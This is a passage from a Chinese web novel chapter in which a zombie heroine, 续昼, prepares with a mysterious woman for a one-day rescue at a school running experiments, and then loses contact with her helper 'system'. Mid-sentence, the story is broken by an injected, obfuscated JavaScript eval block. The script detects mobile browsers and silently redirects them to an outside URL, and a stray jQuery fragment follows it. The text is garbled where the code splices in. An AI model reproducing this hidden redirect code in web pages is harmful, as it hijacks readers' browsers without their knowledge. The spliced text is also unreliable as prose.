同样，她的逃避心理也很严重。她真的能救下这些人吗？抑或者是，救下这些人值得吗？ 每当她在犹豫自己的行为时，趋利避害的心思就会一直试图抢占她的思想控制权。 寻春就说过她有时候做事会很犹豫，总是会思考不好的结果。于是他很长一段时间都在帮她去克服这种心理。很遗憾，收效甚微。 这次也一样。女人的话确实让她的逃避心理毫无悬念的出现了，并且总是会在她想做决定的时候冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399568|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来，在她脑海里哇哇大叫。 例如现在，她又在思考有必要吗？ “当然，我做好准备了。”续昼语气轻快，话音落下的瞬间，她浑身上下像是卸下了十万斤的重担，脑海中嘈杂的声音消失殆尽。 当然有必要，她靠着短发女孩递给自己饼干的瞬间，成功击溃自己的逃避心理。 人有时候总要做一些无意义的斗争，才会去完成一开始就定好的第一选择。 她也一样。 哦不，她现在是丧尸。 那她也还是一样。 “真棒，我就知道你准备好了。”女人话语间都是对续昼回答的满意，“告诉你一个好消息，实验第二阶段收工了。” “什么？”续昼震惊，“实验已经第二阶段了？” 那她这几天岂不是浪费了很多时间？ 女人像是知道续昼在想什么，她解释说：“在你来之前，实验就已经结束第一阶段了。而且在实验阶段，学校的戒备更加森严，你是做不了什么的。” “所以，你今天问我准备好了吗，是因为明天就要行动了？”续昼脑袋转得很快。 在实验阶段做不了什么，但是在空白时期是可以行动的。今天第二阶段收工了，那明天就是空白时期，适合救人。 “没错。”女人继续说，“后天会开始实验的第三阶段，至此，实验全部结束。如果实验成功，那么末日新的篇章将开始。” “只有明天一天的时间，时间很紧啊。”续昼皱眉，预感到这个行动会很棘手。 末日新的篇章指的是什么还不知道，但她推断对人类来说肯定不是什么好事。 女人语气沉重：“是的，只有明天。这是你唯一好得手的机会，有且只有一次。”如果实验成功，那就没有更好的时机了。 “我可以的。”续昼肯定的说。 女人偏头看向冲劲满满的续昼，眼里全是欣赏。果然是她看中的人，一点也不会怕事，看到她这副样子，她就放心很多了。 “既然如此，那我就带你认识一下新序列吧。”有些事情，也到时候该告诉她了。 女人的思绪回到过去，开始讲起新序列的故事。 …… “故事讲完了，我该回去休息了。你该知道的都已经知道了，你还有一晚上的时间可以考虑。”女人起身，摸摸续昼的脑袋，“无论选择，都期待你的明天。” 房门被轻轻关上，女人走了，剩下续昼一个丧尸坐着，她还停留在女人说的故事里，心情复杂，连女人出去也没有反应。 半晌，她起身走到窗前，看见停在学校门口的车辆开走，她无意识敲打着窗台。此刻，太阳正挂在学校上方，光芒跳到她手背。 阳光之下，学校中央的球形建筑熠熠生辉。 “滋滋——”刺耳的电流声来得措不及防。 就在这时，续昼脑海里白光一闪，系统惊呼一声，急忙说道：“啊啊完了我要升级了估计赶不上明天了你记得保护好自己……”声音越来越小。 下一秒，声音彻底消失。 续昼愣在原地好几秒才回过神来。 “系统？”续昼呼叫好几遍，都没有回信。她的心沉了下去，行动尚未开始，就先少了一大助力。 明天的任务，能顺利吗？